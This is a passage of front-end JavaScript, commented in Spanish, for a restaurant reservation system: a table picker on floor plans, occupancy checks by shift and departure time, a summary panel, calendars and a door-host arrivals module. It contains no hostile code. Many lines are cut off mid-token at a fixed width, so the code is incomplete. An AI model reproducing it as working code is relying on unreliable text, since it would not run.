  if(necesitaEscala){
    requestAnimationFrame(() => requestAnimationFrame(() => {
      if(formatoUsado === 'libre') ajustarEscalaPlanoLibre('#planoScrollWrap', '#
      else ajustarEscalaPlanoApp('#planoScrollWrap', '#planoScrollWrap .plano-can
    }));
  }
}

/* ============ SELECTOR VISUAL DE MESA (dentro del formulario de reserva) ======
let mesaSeleccionTemp = [];
let mesaPickerQuitadas = []; // refs de un plano anterior descartadas al abrir el

function actualizarBotonMesa(){
  const val = document.getElementById('fMesa').value;
  const btn = document.getElementById('btnElegirMesa');
  if(!val){
    btn.textContent = 'Sin asignar — toca para elegir en el plano';
  } else {
    btn.textContent = val.split('+').join(' + ');
  }
}

function buildZoneGridPicker(key, cfg, mesas, pref, ocupadasPorOtro, categorias,
  const secondary = new Set();
  Object.keys(mesas).forEach(mkey => {
    const mm = mesas[mkey];
    if (mm.span){
      const p = parseKeyPlano(mkey);
      if (p.zone !== key) return;
```

```
      const count = mm.span.count || 2;
      for (let i = 1; i < count; i++){
        const sr = mm.span.dir === 'v' ? p.r + i : p.r;
        const sc = mm.span.dir === 'h' ? p.c + i : p.c;
        secondary.add(key+'-'+sr+'-'+sc);
      }
    }
  });
  let cells = '';
  for (let r = 0; r < cfg.rows; r++){
    for (let c = 0; c < cfg.cols; c++){
      const mkey = key+'-'+r+'-'+c;
      if (secondary.has(mkey)) continue;
      if (DISABLED_CELLS_PLANO.has(mkey)){
        cells += `<div class="plano-cell" style="grid-column:${c+1}/span 1; grid-
        continue;
      }
      const m = mesas[mkey];
      const spanCount = (m && m.span) ? (m.span.count || 2) : 1;
      const colSpan = (m && m.span && m.span.dir === 'h') ? spanCount : 1;
      const rowSpan = (m && m.span && m.span.dir === 'v') ? spanCount : 1;
      const pos = `grid-column:${c+1}/span ${colSpan}; grid-row:${r+1}/span ${row
      let inner = '';
      if (m){
        const prefType = pref[mkey] || null;
        const codigo = codeForPlano(m, prefType);
        const idMesa = (m.ref && m.ref.trim()) ? m.ref.trim() : codigo;
        const idLower = idMesa.toLowerCase();
        const elegida = mesaSeleccionTemp.includes(idMesa);
        const ocupada = !elegida && ocupadasPorOtro[idLower];
        const cls = elegida ? 'p-elegida' : (ocupada ? 'p-ocupada-otra' : 'p-libr
        const clickJs = ocupada ? '' : `onclick='toggleMesaSeleccion(${JSON.strin
        // El color de zona solo se aplica cuando la mesa está libre —
        // elegida (dorado) y ocupada por otra reserva (rojo) se tienen
        // que ver siempre igual de claras, sin importar la zona, para no
        // confundir al staff mientras elige mesa.
        const colorMesa = (categorias && !elegida && !ocupada) ? colorZona : null
        const estiloColor = colorMesa ? `style="background:${colorMesa};"` : '';
        const capHtml = (categorias && m.cap) ? `<div class="plano-mesa-cap">${m.
        const precioHtml = (categorias && m.categoria && categorias[m.categoria])
        inner = `<div class="plano-mesa-core ${cls}" ${estiloColor} ${clickJs} ti
      }
      cells += `<div class="plano-cell" style="${pos}">${inner}</div>`;
    }
  }
  return `<div class="plano-gridzone" style="left:${cfg.left}%; top:${cfg.top}%;
}
```

```
function renderMesaPickerCanvas(){
  const usandoPlanoEvento = !!PLANO_EVENTO_ACTUAL;
  const plano = usandoPlanoEvento ? PLANO_EVENTO_ACTUAL : PLANO_MAESTRO;
  if(!plano){
    document.getElementById('mesaPickerCanvas').innerHTML = '';
    return;
  }
  const mesas = plano.mesas || {};
  const pref = plano.pref || {};
  // Plano libre: si la reserva traía mesas de un plano ANTERIOR (que ya no
  // existen en este plano), se quitan de la selección para que al
  // confirmar/guardar solo quede lo elegido en el plano nuevo. Solo aplica
  // al formato libre; los planos de cuadrícula no se tocan.
  if((usandoPlanoEvento ? (plano.__formato || 'grid') : PLANO_MAESTRO_FORMATO) ==
    const validas = new Set();
    Object.values(plano.mesas || {}).forEach(m => validas.add(String(libreIdMesa(
    Object.values(plano.zonas || {}).forEach(z => { if(ZONA_KINDS_RESERVABLES.has
    const quitadas = mesaSeleccionTemp.filter(ref => ref.trim() && !validas.has(r
    if(quitadas.length){
      mesaSeleccionTemp = mesaSeleccionTemp.filter(ref => ref.trim() && validas.h
      mesaPickerQuitadas = mesaPickerQuitadas.concat(quitadas.map(r => r.trim()))
    }
  }
  // Mesas ocupadas por OTRAS reservas del mismo día/turno (no cuenta la
  // reserva que se está editando ahora mismo, para no bloquearse a sí misma).
  // Si esa otra reserva SÍ tiene hora de salida registrada, la mesa se
  // considera libre otra vez a partir de esa hora — así se pueden encajar
  // dos reservas en el mismo turno cuando la primera ya va a haber salido
  // antes de que llegue la segunda (por ejemplo, un evento puntual de 6 a
  // 8pm no bloquea toda la noche). Si no tiene hora de salida guardada,
  // se sigue bloqueando el turno completo como antes, por seguridad.
  const horaNuevaReserva = document.getElementById('fHora').value;
  // Cena 1 / Cena 2 (solo viernes/sábado): son categorías COMPLETAMENTE
  // aparte de la disponibilidad de mesa — igual que Desayuno/Almuerzo/
  // Cena no se bloquean entre sí. Si la reserva que se está armando ya
  // tiene franja elegida, SOLO otra reserva con esa MISMA franja bloquea
  // la mesa — una reserva de cena sin franja (o de la franja contraria)
  // NO cuenta, aunque exista ese día. Si todavía no se ha elegido franja
  // (reserva de "Cena" a secas), se sigue bloqueando contra TODA la
  // noche, por seguridad, como siempre.
  // ⚠️ Esto sí abre una ventana de riesgo real: mientras haya reservas de
  // fin de semana sin franja clasificar, una mesa que ya tienen ocupada
  // puede volver a asignarse "libre" a una reserva nueva de Cena 1/Cena
  // 2 — Guillermo lo pidió así a propósito, entendiendo el riesgo,
  // mientras se van clasificando las reservas viejas.
  const fFranjaCenaEl = document.getElementById('fFranjaCena');
```

```
const franjaNuevaReserva = fFranjaCenaEl ? fFranjaCenaEl.value : '';
const esCenaFinDeSemanaModal = modalTurno === 'cena' && diaEsFinDeSemanaCena(mo
const ocupadasPorOtro = {};
reservas
  .filter(r => r.fecha===modalFecha && r.turno===modalTurno && r.estado!=='canc
  .filter(r => {
    if(esCenaFinDeSemanaModal && franjaNuevaReserva && r.franjaCena !== franjaN
    return true;
  })
  .filter(r => {
    if(!r.horaSalida || !horaNuevaReserva) return true; // sin datos suficiente
    return horaNuevaReserva < r.horaSalida; // ya salió antes de que llegue la
  })
  .forEach(r => { if(r.mesa) r.mesa.split('+').forEach(ref => { ocupadasPorOtro

// Los salones (SALON-ORO, SALON-CURRAMBA, SALON-ARENOSA, LOBBY1, LOBBY2)
// se reconocen dentro de ocupadasPorOtro exactamente igual que una mesa
// normal, porque ese mapa ya se arma dividiendo el campo "mesa" de cada
// reserva por "+" sin importar qué texto tenga cada parte.
const estadoZonas = {};
['SALON-ORO','SALON-CURRAMBA','SALON-ARENOSA','LOBBY1','LOBBY2'].forEach(zid =>
  if(mesaSeleccionTemp.includes(zid)) estadoZonas[zid] = 'elegida';
  else if(ocupadasPorOtro[zid.toLowerCase()]) estadoZonas[zid] = 'ocupada';
});

const formatoUsado = usandoPlanoEvento ? (plano.__formato || 'grid') : PLANO_MA
document.getElementById('mesaPickerCanvas').classList.toggle('evento', usandoPl
document.getElementById('mesaPickerCanvas').classList.toggle('libre', formatoUs
document.getElementById('mesaPickerCanvas').innerHTML = formatoUsado === 'libre
  ? buildLibrePlanoPicker(plano, ocupadasPorOtro)
  : (usandoPlanoEvento
    ? Object.keys(plano.bloques||{}).map(bid => {
        const b = plano.bloques[bid];
        return `<div class="plano-zoneblock" style="left:${b.left}%; top:${b.to
      }).join('')
      + Object.keys(plano.zonas||{}).map(zid => {
        const z = plano.zonas[zid];
        let etiqueta = '';
        if(z.labelSide === 'left'){
          etiqueta = `<div class="plano-zona-label-lateral flip" style="left:${
        } else if(z.labelSide === 'right'){
          etiqueta = `<div class="plano-zona-label-lateral" style="left:${z.lef
        }
        return etiqueta + buildZoneGridPicker(zid, z, mesas, pref, ocupadasPorO
      }).join('')
    : buildBackgroundPlano(true, estadoZonas) +
      buildZoneGridPicker('A', ZONES_PLANO.A, mesas, pref, ocupadasPorOtro) +
```

```
        buildZoneGridPicker('C', ZONES_PLANO.C, mesas, pref, ocupadasPorOtro));

  const seleccionEl = document.getElementById('mesaPickerSeleccion');
  seleccionEl.textContent = mesaSeleccionTemp.length
    ? `Elegidas: ${mesaSeleccionTemp.join(' + ')}`
    : 'Ninguna mesa elegida';
  if(mesaPickerQuitadas.length){
    seleccionEl.textContent += ` — se descartaron mesas del plano anterior (${mes
  }
  requestAnimationFrame(() => requestAnimationFrame(() => {
    if(usandoPlanoEvento || formatoUsado === 'libre'){
      if(formatoUsado === 'libre') ajustarEscalaPlanoLibre('#mesaPickerScrollWrap
      else ajustarEscalaPlanoApp('#mesaPickerScrollWrap', '#mesaPickerCanvas');
    }
    // El zoom manual (botones/rueda del mouse) se aplica encima del ajuste
    // automático de arriba en cualquier formato de plano — así el control
    // queda disponible siempre en el selector de mesas, no solo en el
    // plano libre.
    aplicarZoomManualPicker();
  }));
}

function toggleMesaSeleccion(ref){
  const i = mesaSeleccionTemp.indexOf(ref);
  if(i>=0) mesaSeleccionTemp.splice(i,1);
  else mesaSeleccionTemp.push(ref);
  renderMesaPickerCanvas();
}

function abrirSelectorMesa(){
  if(!PLANO_MAESTRO){
    alert('Todavía no hay un plano configurado. Ve a Salones para diseñarlo prime
    return;
  }
  const valorActual = document.getElementById('fMesa').value;
  mesaSeleccionTemp = valorActual ? valorActual.split('+') : [];
  mesaPickerQuitadas = [];
  document.getElementById('mesaPickerSub').textContent =
    `${modalTurno ? modalTurno.charAt(0).toUpperCase()+modalTurno.slice(1) : ''}
  document.getElementById('mesaPickerOverlay').classList.add('open');
  mesaPickerZoom = 1; // cada vez que se abre el selector, arranca viendo el plan

  const planoId = planoIdParaFechaTurno(modalFecha, modalTurno);
  if(!planoId){
    PLANO_EVENTO_ACTUAL = null;
    renderMesaPickerCanvas();
    return;
```

```
  }
  if(planoEventoCacheById[planoId]){
    PLANO_EVENTO_ACTUAL = planoEventoCacheById[planoId];
    renderMesaPickerCanvas();
    return;
  }
  document.getElementById('mesaPickerCanvas').innerHTML = '<div style="padding:24
  db.collection('planosMesasEventos').doc(planoId).get().then(doc => {
    if(doc.exists && doc.data().json){
      try {
        const parsed = JSON.parse(doc.data().json);
        parsed.__formato = (doc.data() && doc.data().formato) || 'grid';
        planoEventoCacheById[planoId] = parsed;
        PLANO_EVENTO_ACTUAL = parsed;
      } catch(e){ console.error('Plano de evento con formato inválido:', e); PLAN
    } else {
      PLANO_EVENTO_ACTUAL = null;
    }
    renderMesaPickerCanvas();
  }).catch(err => {
    console.error('Error cargando el plano del evento:', err);
    PLANO_EVENTO_ACTUAL = null;
    renderMesaPickerCanvas();
  });
}

function cerrarSelectorMesa(){
  document.getElementById('mesaPickerOverlay').classList.remove('open');
  mesaSeleccionTemp = [];
}

function confirmarSelectorMesa(){
  document.getElementById('fMesa').value = mesaSeleccionTemp.join('+');
  actualizarBotonMesa();
  // En un plano de evento cada mesa ya trae su cantidad de personas fija
  // (ej. Deluxe = 10, VIP = 6) — se usa esa cifra para llenar el campo
  // de Personas solo, en vez de que el staff tenga que volver a
  // escribirla a mano.
  if(PLANO_EVENTO_ACTUAL && mesaSeleccionTemp.length){
    const mesasPorRef = {};
    Object.values(PLANO_EVENTO_ACTUAL.mesas || {}).forEach(m => {
      const ref = (m.ref && m.ref.trim()) ? m.ref.trim() : m.num;
      mesasPorRef[ref] = m;
    });
    const totalPersonas = mesaSeleccionTemp.reduce((sum, ref) => {
      const m = mesasPorRef[ref];
      return sum + (m && m.cap ? Number(m.cap) : 0);
```

```
    }, 0);
    if(totalPersonas > 0){
      document.getElementById('fPax').value = totalPersonas;
      actualizarTotalCover();
    }
    // Si además esas mesas tienen precio (categoría de precio asignada en
    // el plano del evento), se usa ESE valor para el cover — no hace
    // falta que el staff lo vuelva a escribir a mano.
    const totalPrecio = mesaSeleccionTemp.reduce((sum, ref) => {
      const m = mesasPorRef[ref];
      const cat = (m && m.categoria && PLANO_EVENTO_ACTUAL.categorias) ? PLANO_EV
      return sum + (cat ? Number(cat.precio || 0) : 0);
    }, 0);
    if(totalPrecio > 0 && totalPersonas > 0){
      document.getElementById('fTieneCover').checked = true;
      document.getElementById('fCoverValor').value = Math.round(totalPrecio / tot
      toggleCoverFields();
      actualizarTotalCover();
    }
  }
  document.getElementById('mesaPickerOverlay').classList.remove('open');
  mesaSeleccionTemp = [];
}



/* ============ RENDER: RESUMEN ============ */
function renderResumen(){
  const iso = fechaISO(fechaActual);
  const grupo = HORARIOS[grupoDeFecha(fechaActual)];
  const turnosKeys = ['desayuno','almuerzo','cena'];

  let totalPaxDia = 0, totalCapDia = 0;
  const barsHtml = turnosKeys.map(tk=>{
    const cfg = grupo[tk];
    const rs = reservas.filter(r=>r.fecha===iso && r.turno===tk && r.estado!=='ca
    const pax = rs.reduce((a,r)=>a+Number(r.pax||0),0);
    totalPaxDia += pax; totalCapDia += (cfg.activo?cfg.cap:0);
    const pct = cfg.activo && cfg.cap ? Math.min(100,Math.round(pax/cfg.cap*100))
    return `<div class="bar-row">
      <div class="bl">${tk.charAt(0).toUpperCase()+tk.slice(1)}</div>
      <div class="bar-track"><div class="bar-fill" style="width:${pct}%"></div></
      <div class="bar-val">${pax}/${cfg.activo?cfg.cap:0}</div>
    </div>`;
  }).join('');

  const rsHoy = reservas.filter(r=>r.fecha===iso && r.estado!=='cancelada');
```

```
  const vipCount = rsHoy.filter(r=>mesaEsVip(r.mesa)).length;
  const pendientes = rsHoy.filter(r=>r.estado==='pendiente').length;
  const pctDia = totalCapDia? Math.round(totalPaxDia/totalCapDia*100):0;

  document.getElementById('panelResumen').innerHTML = `
    <div class="resumen-grid">
      <div class="kpi"><div class="label">Ocupación del día</div><div class="valu
      <div class="kpi"><div class="label">Reservas activas</div><div class="value
      <div class="kpi"><div class="label">Mesas VIP ocupadas</div><div class="val
    </div>
    <div class="section-title">Ocupación por turno</div>
    ${barsHtml}
  `;
}

/* ============ VIEW SWITCHING ============ */
function cambiarVista(v){
  vistaActual = v;
  document.querySelectorAll('.tab').forEach(t=>t.classList.toggle('active', t.dat
  document.querySelectorAll('.bottom-nav button').forEach(t=>t.classList.toggle('
  document.getElementById('panelLista').classList.toggle('mobile-active', v==='li
  document.getElementById('panelPlano').classList.toggle('mobile-active', v==='pl
  document.getElementById('panelResumen').classList.toggle('mobile-active', v==='
  // Si el modal de una reserva se había quedado abierto de fondo (típico
  // caso: guardar la reserva, tocar "Abrir WhatsApp", y luego cambiar de
  // pestaña directo sin volver a tocar "Volver al menú principal"),
  // cambiar de pestaña aquí significa que el staff ya salió de esa
  // reserva — se cierra solo. Antes se quedaba "abierto" por dentro sin
  // que se notara, y renderAll() se autobloqueaba para no interrumpir una
  // edición en curso — dejando el plano y la lista congelados con datos
  // viejos hasta que alguien volviera a tocar ese botón específico.
  const overlayNav = document.getElementById('overlay');
  if(overlayNav && overlayNav.classList.contains('open')){
    overlayNav.classList.remove('open');
  }
  renderAll();
}

function setTurno(t){ turnoActivo = t; renderAll(); }
function cambiarDia(delta){
  // El promotor no puede navegar a otro día — solo trabaja la fecha de
  // su evento, fija.
  if(usuarioActual && usuarioActual.rol === 'promotor') return;
  fechaActual.setDate(fechaActual.getDate()+delta);
  const grupo = HORARIOS[grupoDeFecha(fechaActual)];
  if(turnoActivo !== 'todos' && !grupo[turnoRealDesdeActivo(turnoActivo)].activo)
    turnoActivo = ['almuerzo','cena','desayuno'].find(t=>grupo[t].activo) || 'alm
```

```
  }
  // Aquí sí sincronizamos el calendario, porque el usuario acaba de elegir
  // explícitamente otra fecha con las flechitas.
  calInlineMes = fechaActual.getMonth();
  calInlineAno = fechaActual.getFullYear();
  renderAll();
}

/* ============ CALENDAR PICKER ============ */
let calMes = fechaActual.getMonth();
let calAno = fechaActual.getFullYear();
let calTarget = 'porDia'; // 'porDia' o 'solicitudes' — a cuál pantalla afecta el
let fechaSolicitudes = new Date(); // fecha que se está revisando en la pantalla

/* ============ CALENDARIO EMBEBIDO EN "SOLICITUDES" ============ */
// Mismo patrón que el calendario de "Por día", pero en vez de marcar días
// con reservas, marca días con solicitudes SIN GESTIONAR (punto naranja) o
// ya gestionadas (punto verde). Así el equipo ve de un vistazo si quedó
// algo pendiente en días anteriores sin tener que ir fecha por fecha.
let calSolInlineMes = fechaSolicitudes.getMonth();
let calSolInlineAno = fechaSolicitudes.getFullYear();
let calendarioSolInlineAbierto = true;

function toggleCalendarioSolicitudes(){
  calendarioSolInlineAbierto = !calendarioSolInlineAbierto;
  document.getElementById('calendarioSolInlineWrap').style.display = calendarioSo
  if(calendarioSolInlineAbierto){
    calSolInlineMes = fechaSolicitudes.getMonth();
    calSolInlineAno = fechaSolicitudes.getFullYear();
    renderCalendarioSolInline();
  }
}

function cambiarMesSolInline(delta){
  calSolInlineMes += delta;
  if(calSolInlineMes<0){calSolInlineMes=11; calSolInlineAno--;}
  if(calSolInlineMes>11){calSolInlineMes=0; calSolInlineAno++;}
  renderCalendarioSolInline();
}

function renderCalendarioSolInline(){
  const wrap = document.getElementById('calendarioSolInlineWrap');
  if(!wrap || wrap.style.display === 'none') return;

  document.getElementById('calSolInlineTitle').textContent = `${MESES[calSolInlin

  const primerDia = new Date(calSolInlineAno, calSolInlineMes, 1);
```

```
const offset = primerDia.getDay();
const diasEnMes = new Date(calSolInlineAno, calSolInlineMes+1, 0).getDate();
const hoyISO = fechaISO(new Date());
const selISO = fechaISO(fechaSolicitudes);

// Todo lo que alguna vez pasó por el flujo de solicitud/aprobación,
// agrupado por la fecha en que LLEGÓ la solicitud (no la fecha de la
// reserva que pidió), filtrado al mes que se está mirando.
const solicitudesDelMes = reservas.filter(r => {
  const pasoPorFlujo = r.pasoPorSolicitud === true || r.estado==='solicitud' ||
  if(!pasoPorFlujo) return false;
  const fSol = fechaSolicitudEfectiva(r);
  if(!fSol) return false;
  const [y,m] = fSol.split('-').map(Number);
  return y===calSolInlineAno && m===(calSolInlineMes+1);
});
const diasPendientes = new Set(
  solicitudesDelMes.filter(requiereGestion).map(fechaSolicitudEfectiva)
);
const diasGestionados = new Set(
  solicitudesDelMes.filter(r=>!requiereGestion(r)).map(fechaSolicitudEfectiva)
);
// Cantidad de solicitudes por día (igual que el conteo de "Por día",
// pero contando solicitudes en vez de sumar pax) — así de un vistazo se
// ve cuántas llegaron ese día, no solo que hubo algo.
const conteoSolPorDia = {};
solicitudesDelMes.forEach(r => {
  const fSol = fechaSolicitudEfectiva(r);
  conteoSolPorDia[fSol] = (conteoSolPorDia[fSol] || 0) + 1;
});

let html = '';
const diasMesAnterior = new Date(calSolInlineAno, calSolInlineMes, 0).getDate()
for(let i=offset-1; i>=0; i--){
  html += `<div class="cal-day muted">${diasMesAnterior-i}</div>`;
}
for(let d=1; d<=diasEnMes; d++){
  const fecha = new Date(calSolInlineAno, calSolInlineMes, d, 12);
  const iso = fechaISO(fecha);
  let cls = 'cal-day';
  if(iso===hoyISO) cls += ' today';
  if(iso===selISO) cls += ' selected';
  // Pendiente tiene prioridad visual: si un día tiene solicitudes sin
  // gestionar Y gestionadas, se marca en naranja para que no pase inadvertido.
  const total = conteoSolPorDia[iso] || 0;
  const marca = total > 0
    ? `<span class="cal-day-count${diasPendientes.has(iso) ? ' pendiente' : ''}
```

```
      : '';
    html += `<div class="${cls}" onclick="seleccionarDiaSolInline(${d})">${d}<div
  }
  const totalCeldas = offset + diasEnMes;
  const restante = (7 - (totalCeldas % 7)) % 7;
  for(let d=1; d<=restante; d++){
    html += `<div class="cal-day muted">${d}</div>`;
  }
  document.getElementById('calSolInlineDays').innerHTML = html;

  const avisoEl = document.getElementById('calSolAvisoNavegando');
  const explorandoOtroMes = (calSolInlineMes !== fechaSolicitudes.getMonth() || c
  if(explorandoOtroMes){
    avisoEl.style.display = 'block';
    avisoEl.textContent = `👀 Estás explorando ${MESES[calSolInlineMes]} — la inf
  } else {
    avisoEl.style.display = 'none';
  }
}

function seleccionarDiaSolInline(d){
  filtroSoloAtrasadasSolicitudes = false;
  fechaSolicitudes = new Date(calSolInlineAno, calSolInlineMes, d, 12);
  renderSolicitudesScreen();
}

function abrirCalendario(target){
  calTarget = target || 'porDia';
  const base = calTarget === 'solicitudes' ? fechaSolicitudes : fechaActual;
  calMes = base.getMonth();
  calAno = base.getFullYear();
  poblarSelectsCal();
  renderCalendario();
  document.getElementById('calOverlay').classList.add('open');
}
function cerrarCalendario(){
  document.getElementById('calOverlay').classList.remove('open');
}
function cambiarMesCal(delta){
  calMes += delta;
  if(calMes<0){calMes=11; calAno--;}
  if(calMes>11){calMes=0; calAno++;}
  poblarSelectsCal();
  renderCalendario();
}
function poblarSelectsCal(){
  const selMes = document.getElementById('calMesSelect');
```

```
  selMes.innerHTML = MESES.map((m,i)=>`<option value="${i}" ${i===calMes?'selecte
  const selAno = document.getElementById('calAnoSelect');
  const anoActual = new Date().getFullYear();
  let opts = '';
  for(let y=anoActual-1; y<=anoActual+2; y++){
    opts += `<option value="${y}" ${y===calAno?'selected':''}>${y}</option>`;
  }
  selAno.innerHTML = opts;
}
function saltarMes(){
  calMes = Number(document.getElementById('calMesSelect').value);
  calAno = Number(document.getElementById('calAnoSelect').value);
  renderCalendario();
}
function renderCalendario(){
  document.getElementById('calTitle').textContent = `${MESES[calMes]} ${calAno}`;
  document.getElementById('calMesSelect').value = calMes;
  document.getElementById('calAnoSelect').value = calAno;

  const primerDia = new Date(calAno, calMes, 1);
  const offset = primerDia.getDay(); // 0=domingo
  const diasEnMes = new Date(calAno, calMes+1, 0).getDate();
  const hoy = new Date();
  const hoyISO = fechaISO(hoy);
  const base = calTarget === 'solicitudes' ? fechaSolicitudes : fechaActual;
  const selISO = fechaISO(base);

  let html = '';
  // días del mes anterior para rellenar la grilla
  const diasMesAnterior = new Date(calAno, calMes, 0).getDate();
  for(let i=offset-1; i>=0; i--){
    html += `<div class="cal-day muted">${diasMesAnterior-i}</div>`;
  }
  for(let d=1; d<=diasEnMes; d++){
    const fecha = new Date(calAno, calMes, d, 12);
    const iso = fechaISO(fecha);
    let cls = 'cal-day';
    if(iso===hoyISO) cls += ' today';
    if(iso===selISO) cls += ' selected';
    html += `<div class="${cls}" onclick="seleccionarDiaCal(${d})">${d}</div>`;
  }
  const totalCeldas = offset + diasEnMes;
  const restante = (7 - (totalCeldas % 7)) % 7;
  for(let d=1; d<=restante; d++){
    html += `<div class="cal-day muted">${d}</div>`;
  }
  document.getElementById('calDays').innerHTML = html;
```

```
}
function seleccionarDiaCal(d){
  const nuevaFecha = new Date(calAno, calMes, d, 12);
  if(calTarget === 'solicitudes'){
    filtroSoloAtrasadasSolicitudes = false;
    fechaSolicitudes = nuevaFecha;
    cerrarCalendario();
    renderSolicitudesScreen();
    return;
  }
  fechaActual = nuevaFecha;
  const grupo = HORARIOS[grupoDeFecha(fechaActual)];
  if(turnoActivo !== 'todos' && !grupo[turnoRealDesdeActivo(turnoActivo)].activo)
    turnoActivo = ['almuerzo','cena','desayuno'].find(t=>grupo[t].activo) || 'alm
  }
  cerrarCalendario();
  renderAll();
}
function irHoy(){
  if(calTarget === 'solicitudes'){
    filtroSoloAtrasadasSolicitudes = false;
    fechaSolicitudes = new Date();
    calMes = fechaSolicitudes.getMonth();
    calAno = fechaSolicitudes.getFullYear();
    cerrarCalendario();
    renderSolicitudesScreen();
    return;
  }
  fechaActual = new Date();
  calMes = fechaActual.getMonth();
  calAno = fechaActual.getFullYear();
  cerrarCalendario();
  renderAll();
}
function cambiarDiaSolicitudes(delta){
  filtroSoloAtrasadasSolicitudes = false;
  fechaSolicitudes.setDate(fechaSolicitudes.getDate()+delta);
  // Igual que en "Por día": si el usuario mueve la fecha con las flechitas,
  // el calendario embebido salta a mostrar ese mes.
  calSolInlineMes = fechaSolicitudes.getMonth();
  calSolInlineAno = fechaSolicitudes.getFullYear();
  renderSolicitudesScreen();
}
document.getElementById('calOverlay').addEventListener('click', e=>{
  if(e.target.id==='calOverlay') cerrarCalendario();
});
```

```
// Si llega una actualización en tiempo real (por ejemplo, otro empleado
// gestionando OTRA reserva) mientras el modal de editar/nueva reserva
// está abierto, NO se refresca la pantalla en ese momento — se guarda la
// bandera y se actualiza recién cuando se cierra el modal. Esto evita que
// dos personas usando el sistema al mismo tiempo se interfieran una a la
// otra justo en medio de procesar una reserva.
let rerenderPendienteTrasModal = false;
function renderAll(){
  const overlayAbierto = document.getElementById('overlay').classList.contains('o
  if(overlayAbierto){
    rerenderPendienteTrasModal = true;
    return;
  }
  renderHeader();
  renderStats();
  renderLista();
  renderPlano();
  renderResumen();
  renderSolicitudesScreen();
  if(vistaApp === 'host') renderHost();
  if(vistaApp === 'registro') renderRegistro();
  // OJO: no reseteamos calInlineMes/calInlineAno aquí — renderAll() se llama
  // constantemente (cada vez que llega un cambio en tiempo real desde Firebase),
  // y si reseteáramos el mes en cada llamada, el calendario se saltaría solo
  // al mes de la fecha seleccionada mientras el usuario está navegando a
  // otro mes para revisar reservas futuras. Solo lo re-sincronizamos en las
  // acciones donde el usuario realmente elige una fecha nueva (ver cambiarDia,
  // seleccionarDiaInline, toggleCalendarioPorDia).
  renderCalendarioInline();
}

/* ============ MÓDULO HOST (v6.43) ============ */
// Pantalla operativa para la persona de la puerta: ve las reservas
// CONFIRMADAS del día/turno y va marcando cuántas personas de cada una
// han llegado (campo nuevo `llegaron` dentro de la reserva — no toca pax,
// estado, mesa ni nada de lo que ya existía), y cuenta los clientes que
// llegan sin reserva (colección nueva `hostSinReserva`, un documento por
// día+turno). Si llegan más personas de las reservadas, se suman igual y
// la tarjeta marca "+N de más".
let hostFecha = new Date();
hostFecha.setHours(12,0,0,0);
let hostTurno = null; // siempre un turno concreto (nunca "todos"): el aforo se c
let hostFiltro = 'todas'; // todas | faltan | llegaron
// v6.45 — Candado anti-errores: por defecto todo está BLOQUEADO. Para sumar
// o restar personas hay que tocar "Editar" en esa tarjeta (o en el contador
// de sin reserva); al terminar se vuelve a bloquear con "Listo".
const hostEditando = new Set();
```

```
let hostSinReservaEditando = false;
// v6.48 — número de personas elegido (todavía sin registrar) por tarjeta: clave
let hostEntradaN = {};
function hostSoltarCandados(){ hostEditando.clear(); hostSinReservaEditando = fal
// v6.46 — "Guardar aforo": foto del movimiento de UN turno (reservas que
// llegaron + clientes sin reserva) guardada en la colección `aforoTurnos`,
// un documento por día+turno (id "AAAA-MM-DD_turno"). Guardar de nuevo el
// mismo turno actualiza ese mismo documento.
const hostAforoRef = db.collection('aforoTurnos');
let hostUnsubAforo = null;
let hostAforoFecha = null;
let hostAforoDocs = [];
let hostAforoError = null;
let hostGuardandoAforo = false;
const HOST_ORDEN_TURNOS = ['desayuno','almuerzo','cena','cena1','cena2'];
const HOST_ETIQUETA_TURNO = { desayuno:'Desayuno', almuerzo:'Almuerzo', cena:'Cen
const hostSinReservaRef = db.collection('hostSinReserva');
let hostUnsubSinReserva = null;
let hostSinReservaFecha = null;
let hostSinReservaDocs = [];
let hostSinReservaError = null;
const HOST_MIN_TARDE = 15; // minutos pasada la hora para marcar "tarde"

function hostNorm(t){
  return String(t||'').toLowerCase().normalize('NFD').replace(/[̀-ͯ]/g,'');
}
// v6.55 — Nunca menos que la suma de las entradas con detalle: si el total
// guardado quedó por debajo (p. ej. por un doble toque en "quitar"), mandan las
function hostLlegaron(r){
  const ll = Math.max(0, Number(r.llegaron)||0);
  const enEnt = hostEntradasDe(r).reduce((a,e) => a + e.n, 0);
  return Math.max(ll, enEnt);
}
// v6.55 — Evita que un doble toque repita la misma operación mientras se guarda.
let hostOpOcupada = false;
function hostOp(promesa){
  hostOpOcupada = true;
  const fin = () => { hostOpOcupada = false; };
  Promise.resolve(promesa).then(fin, fin);
  return promesa;
}
function hostEsFinDeSemanaCena(){ return diaEsFinDeSemanaCena(fechaISO(hostFecha)
function hostTurnosDelDia(){
  const fin = hostEsFinDeSemanaCena();
  const lista = fin
    ? [['desayuno','Desayuno'],['almuerzo','Almuerzo'],['cena1','Cena 1'],['cena2
    : [['desayuno','Desayuno'],['almuerzo','Almuerzo'],['cena','Cena']];
```

```
  // Viernes/sábado: si hay reservas confirmadas de cena a las que nunca se
  // les asignó Cena 1 o Cena 2, no pueden quedar invisibles para el host —
  // aparece un turno extra SOLO cuando existen, para que las pueda ver.
  if(fin){
    const iso = fechaISO(hostFecha);
    const n = reservas.filter(r => r.fecha === iso && r.estado === 'confirmada' &
    if(n > 0) lista.push(['cenaSinFranja', 'Cena sin franja (' + n + ')']);
  }
  return lista;
}
// Turno que se abre por defecto según la hora actual (el host puede cambiarlo).
function hostTurnoPorDefecto(){
  const h = new Date().getHours();
  if(h < 11) return 'desayuno';
  if(h < 18) return 'almuerzo';
  if(hostEsFinDeSemanaCena()) return h < 21 ? 'cena1' : 'cena2';
  return 'cena';
}
function hostReservasDelDia(){
  const iso = fechaISO(hostFecha);
  return reservas.filter(r => {
    if(r.fecha !== iso || r.estado !== 'confirmada') return false;
    if(hostTurno === 'cenaSinFranja') return r.turno === 'cena' && !r.franjaCena;
    return reservaCoincideConTurnoActivo(r, hostTurno);
  });
}
function suscribirHostSinReserva(){
  const iso = fechaISO(hostFecha);
  if(hostUnsubSinReserva && hostSinReservaFecha === iso) return;
  if(hostUnsubSinReserva){ hostUnsubSinReserva(); hostUnsubSinReserva = null; }
  hostSinReservaFecha = iso;
  hostSinReservaDocs = [];
  hostSinReservaError = null;
  hostUnsubSinReserva = hostSinReservaRef.where('fecha','==',iso).onSnapshot(snap
    hostSinReservaDocs = snap.docs.map(d => ({ id: d.id, ...d.data() }));
    hostSinReservaError = null;
    if(vistaApp === 'host') renderHost();
  }, err => {
    console.warn('Host: no se pudo leer clientes sin reserva:', err);
    hostSinReservaError = (err && err.code) ? err.code : 'error';
    if(vistaApp === 'host') renderHost();
  });
}
function detenerHostSinReserva(){
